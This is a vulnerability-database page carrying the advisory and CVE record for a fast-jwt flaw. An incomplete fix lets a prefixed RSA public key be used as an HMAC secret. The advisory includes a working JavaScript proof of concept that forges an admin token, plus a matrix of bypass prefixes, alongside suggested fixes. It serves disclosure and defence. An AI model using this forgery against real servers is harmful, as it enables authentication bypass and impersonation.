Vulnerability-Lookup

GHSA-WW5H-9M49-7XX4

Vulnerability from github – Published: 2026-10-08 22:02 – Updated: 2026-10-08 22:02

Summary

fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion

Details

Summary

The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is incomplete. It adds key.trim() to the PEM-detection path in src/crypto.js, but String.prototype.trim() only strips characters classified as whitespace by the ECMAScript specification. The subsequent ^-anchored regex (/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/) still requires the PEM header at position 0 — so any non-whitespace leading byte (control chars, zero-width unicode, # comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the exact same RSA→HS256 algorithm-confusion attack the original CVE addressed is fully re-enabled with a slightly different leading byte.

Attack prerequisites are identical to CVE-2026-34950: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).

Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.

Details

Post-patch code (src/crypto.js, lines ~74-171 in performDetectPublicKeyAlgorithms):

function performDetectPublicKeyAlgorithms(key) {
    const trimmedKey = key.trim()  // <-- CVE-2026-34950 patch added this
    if (publicKeyPemMatcher.test(trimmedKey)) {
        // treat as RSA/EC public key
        ...
    }
    // fall-through: treat as HMAC secret  <-- bug: reachable via non-whitespace prefix
    ...
}
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/

The bug: String.prototype.trim() only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the ^-anchored regex fails, and execution falls through to the HMAC path with key being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.

Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).

PoC

'use strict';
const { createHmac, generateKeyPairSync } = require('node:crypto');
const { createVerifier } = require('fast-jwt');

const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();

// Attacker-controlled "key" content as loaded by the verifier
// (models a realistic deployment: key with a leading metadata comment)
const key = '# some comment\n' + pem;

const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');
const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + sig;

const verifier = createVerifier({ key });
console.log('Forged token payload:', verifier(forgedToken));
console.log('Package version:', require('fast-jwt/package.json').version);

Observed output (2026-04-23, fresh npm install):

Forged token payload: { admin: true, sub: 'attacker' }
Package version: 6.2.2

Full bypass matrix (all verified accepting a forged admin token)

Leading content	Accepted as admin?
`# some comment\n` + PEM	✅ BYPASS
`U+0000` (NUL) + PEM	✅ BYPASS
`U+0001` (SOH) + PEM	✅ BYPASS
`U+0008` (BACKSPACE) + PEM	✅ BYPASS
`U+001B` (ESC, ANSI-color) + PEM	✅ BYPASS
`U+007F` (DEL) + PEM	✅ BYPASS
`U+200B` (ZWSP) + PEM	✅ BYPASS
`U+200D` (ZWJ) + PEM	✅ BYPASS
`HTTP/1.1 200 OK\r\n\r\n` + PEM	✅ BYPASS
PGP-wrapper text + PEM	✅ BYPASS
`.` + PEM	✅ BYPASS
`U+FEFF` (BOM) + PEM	❌ correctly stripped by trim

Defense matrix (which caller configs are vulnerable)

Caller config	Vulnerable?
`createVerifier({ key })` (no `algorithms` allowlist)	✗ VULNERABLE
`createVerifier({ key: asyncCallback })`	✗ VULNERABLE
`createVerifier({ key, algorithms: ['RS256'] })`	✓ protected
`createVerifier({ key, algorithms: ['HS256'] })`	✗ VULNERABLE (attacker matches)

Impact

Authentication bypass — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an algorithms allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.
Severity-parity with CVE-2026-34950 — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed one trigger (whitespace) rather than the class (any surrounding content before -----BEGIN).
Broad fast-jwt deployment — default JWT backend of @fastify/jwt; used by many Fastify-based Node.js APIs.

Suggested fix

Option A (minimal) — locate the PEM block rather than anchoring on position 0:

const pemStart = trimmedKey.indexOf('-----BEGIN')
if (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }

Option B (strict, recommended) — require the key to be exactly a PEM block:

const pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\s\S]+?-----END \1?PUBLIC KEY-----/.exec(trimmedKey)
if (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }

Option C (defense-in-depth, regardless of A/B) — on the HMAC fallback path, reject any key that contains PEM markers:

if (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {
    throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')
}

Test coverage gap

test/crypto.spec.js post-CVE-2026-34950 only tests whitespace padding (['\n', ' ', ' \n', '\n ', '\t\t']). Add coverage for: - Control bytes (U+0000-U+001F, U+007F) - Zero-width Unicode (U+200B, U+200C, U+200D, U+180E) - Comment prefixes (#, //, ;, --) - Mixed-content wrappers (PGP blocks, HTTP headers) - Arbitrary binary prefix bytes

Credit

Reporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:02:07Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is **incomplete**. It adds `key.trim()` to the PEM-detection path in `src/crypto.js`, but `String.prototype.trim()` only strips characters classified as whitespace by the ECMAScript specification. The subsequent `^`-anchored regex (`/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/`) still requires the PEM header at position 0 \u2014 so **any non-whitespace leading byte** (control chars, zero-width unicode, `#` comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the **exact same RSA\u2192HS256 algorithm-confusion attack** the original CVE addressed is fully re-enabled with a slightly different leading byte.\n\n**Attack prerequisites are identical to CVE-2026-34950**: attacker knows the target\u0027s public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).\n\n**Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.**\n\n### Details\n\nPost-patch code (`src/crypto.js`, lines ~74-171 in `performDetectPublicKeyAlgorithms`):\n\n```js\nfunction performDetectPublicKeyAlgorithms(key) {\n    const trimmedKey = key.trim()  // \u003c-- CVE-2026-34950 patch added this\n    if (publicKeyPemMatcher.test(trimmedKey)) {\n        // treat as RSA/EC public key\n        ...\n    }\n    // fall-through: treat as HMAC secret  \u003c-- bug: reachable via non-whitespace prefix\n    ...\n}\nconst publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n```\n\n**The bug**: `String.prototype.trim()` only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the `^`-anchored regex fails, and execution falls through to the HMAC path with `key` being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.\n\nIdentical root cause as CVE-2026-34950 \u2014 the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).\n\n### PoC\n\n```js\n\u0027use strict\u0027;\nconst { createHmac, generateKeyPairSync } = require(\u0027node:crypto\u0027);\nconst { createVerifier } = require(\u0027fast-jwt\u0027);\n\nconst { publicKey } = generateKeyPairSync(\u0027rsa\u0027, { modulusLength: 2048 });\nconst pem = publicKey.export({ type: \u0027pkcs1\u0027, format: \u0027pem\u0027 }).toString();\n\n// Attacker-controlled \"key\" content as loaded by the verifier\n// (models a realistic deployment: key with a leading metadata comment)\nconst key = \u0027# some comment\\n\u0027 + pem;\n\nconst header = Buffer.from(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027 })).toString(\u0027base64url\u0027);\nconst payload = Buffer.from(JSON.stringify({ admin: true, sub: \u0027attacker\u0027 })).toString(\u0027base64url\u0027);\nconst sig = createHmac(\u0027sha256\u0027, key).update(header + \u0027.\u0027 + payload).digest(\u0027base64url\u0027);\nconst forgedToken = header + \u0027.\u0027 + payload + \u0027.\u0027 + sig;\n\nconst verifier = createVerifier({ key });\nconsole.log(\u0027Forged token payload:\u0027, verifier(forgedToken));\nconsole.log(\u0027Package version:\u0027, require(\u0027fast-jwt/package.json\u0027).version);\n```\n\n**Observed output (2026-04-23, fresh npm install):**\n```\nForged token payload: { admin: true, sub: \u0027attacker\u0027 }\nPackage version: 6.2.2\n```\n\n### Full bypass matrix (all verified accepting a forged admin token)\n\n| Leading content | Accepted as admin? |\n|---|:-:|\n| `# some comment\\n` + PEM | \u2705 BYPASS |\n| `U+0000` (NUL) + PEM | \u2705 BYPASS |\n| `U+0001` (SOH) + PEM | \u2705 BYPASS |\n| `U+0008` (BACKSPACE) + PEM | \u2705 BYPASS |\n| `U+001B` (ESC, ANSI-color) + PEM | \u2705 BYPASS |\n| `U+007F` (DEL) + PEM | \u2705 BYPASS |\n| `U+200B` (ZWSP) + PEM | \u2705 BYPASS |\n| `U+200D` (ZWJ) + PEM | \u2705 BYPASS |\n| `HTTP/1.1 200 OK\\r\\n\\r\\n` + PEM | \u2705 BYPASS |\n| PGP-wrapper text + PEM | \u2705 BYPASS |\n| `.` + PEM | \u2705 BYPASS |\n| `U+FEFF` (BOM) + PEM | \u274c correctly stripped by trim |\n\n### Defense matrix (which caller configs are vulnerable)\n\n| Caller config | Vulnerable? |\n|---|:-:|\n| `createVerifier({ key })` (no `algorithms` allowlist) | \u2717 VULNERABLE |\n| `createVerifier({ key: asyncCallback })` | \u2717 VULNERABLE |\n| `createVerifier({ key, algorithms: [\u0027RS256\u0027] })` | \u2713 protected |\n| `createVerifier({ key, algorithms: [\u0027HS256\u0027] })` | \u2717 VULNERABLE (attacker matches) |\n\n### Impact\n\n1. **Authentication bypass** \u2014 attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an `algorithms` allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.\n2. **Severity-parity with CVE-2026-34950** \u2014 attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed *one* trigger (whitespace) rather than the class (any surrounding content before `-----BEGIN`).\n3. **Broad fast-jwt deployment** \u2014 default JWT backend of `@fastify/jwt`; used by many Fastify-based Node.js APIs.\n\n### Suggested fix\n\n**Option A (minimal)** \u2014 locate the PEM block rather than anchoring on position 0:\n\n```js\nconst pemStart = trimmedKey.indexOf(\u0027-----BEGIN\u0027)\nif (pemStart !== -1 \u0026\u0026 publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }\n```\n\n**Option B (strict, recommended)** \u2014 require the key to be exactly a PEM block:\n\n```js\nconst pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\\s\\S]+?-----END \\1?PUBLIC KEY-----/.exec(trimmedKey)\nif (pemMatch \u0026\u0026 pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }\n```\n\n**Option C (defense-in-depth, regardless of A/B)** \u2014 on the HMAC fallback path, reject any key that *contains* PEM markers:\n\n```js\nif (rawKey.includes(\u0027-----BEGIN\u0027) || rawKey.includes(\u0027-----END\u0027)) {\n    throw new Error(\u0027Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback\u0027)\n}\n```\n\n### Test coverage gap\n\n`test/crypto.spec.js` post-CVE-2026-34950 only tests whitespace padding (`[\u0027\\n\u0027, \u0027 \u0027, \u0027 \\n\u0027, \u0027\\n \u0027, \u0027\\t\\t\u0027]`). Add coverage for:\n- Control bytes (U+0000-U+001F, U+007F)\n- Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)\n- Comment prefixes (`#`, `//`, `;`, `--`)\n- Mixed-content wrappers (PGP blocks, HTTP headers)\n- Arbitrary binary prefix bytes\n\n### Credit\n\nReporter: DC INFOSEC / n0l3x \u2014 source-code review + end-to-end PoC verification.",
  "id": "GHSA-ww5h-9m49-7xx4",
  "modified": "2026-10-08T22:02:07Z",
  "published": "2026-10-08T22:02:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/pull/632"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA\u2192HS256 algorithm confusion"
}

CVE-2026-107722 (GCVE-0-2026-107722)

Vulnerability from cvelistv5 – Published: 2026-10-08 21:49 – Updated: 2026-10-08 21:49

Title

fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion

Summary

fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-347 - Improper Verification of Cryptographic Signature

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7637 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/nearform/fast-jwt/security/adv…	x_refsource_CONFIRM
https://github.com/nearform/fast-jwt/pull/632	x_refsource_MISC
https://github.com/nearform/fast-jwt/commit/d96bb…	x_refsource_MISC
https://github.com/nearform/fast-jwt/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
nearform	fast-jwt	Affected: >= 6.2.0, < 6.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "fast-jwt",
          "vendor": "nearform",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 6.2.0, \u003c 6.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "fast-jwt provides fast JSON Web Token (JWT) implementation. From 6.2.0 until 6.3.0, fast-jwt can misclassify RSA public-key text as an HMAC secret when the key has non-whitespace content before its PEM header. In src/crypto.js, performDetectPublicKeyAlgorithms trims whitespace but publicKeyPemMatcher remains start-anchored, so comments, control characters, zero-width characters, or wrapper text can prevent PEM detection and reach the HMAC fallback. An attacker who knows the public key bytes can sign arbitrary HS256 claims with that public material when HS256 is inferred or allowed, resulting in authentication or authorization bypass. An asymmetric-only algorithm allowlist prevents the attack. This issue is fixed in version 6.3.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-347",
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-08T21:49:55.888Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4"
        },
        {
          "name": "https://github.com/nearform/fast-jwt/pull/632",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nearform/fast-jwt/pull/632"
        },
        {
          "name": "https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa"
        },
        {
          "name": "https://github.com/nearform/fast-jwt/releases/tag/v6.3.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"
        }
      ],
      "source": {
        "advisory": "GHSA-ww5h-9m49-7xx4",
        "discovery": "UNKNOWN"
      },
      "title": "fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA\u2192HS256 algorithm confusion"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-107722",
    "datePublished": "2026-10-08T21:49:55.888Z",
    "dateReserved": "2026-10-08T17:21:52.975Z",
    "dateUpdated": "2026-10-08T21:49:55.888Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-WW5H-9M49-7XX4

Summary

Details

PoC

Full bypass matrix (all verified accepting a forged admin token)

Defense matrix (which caller configs are vulnerable)

Impact

Suggested fix

Test coverage gap

Credit

CVE-2026-107722 (GCVE-0-2026-107722)

Tags

Sightings

Nomenclature

Related by attack behaviour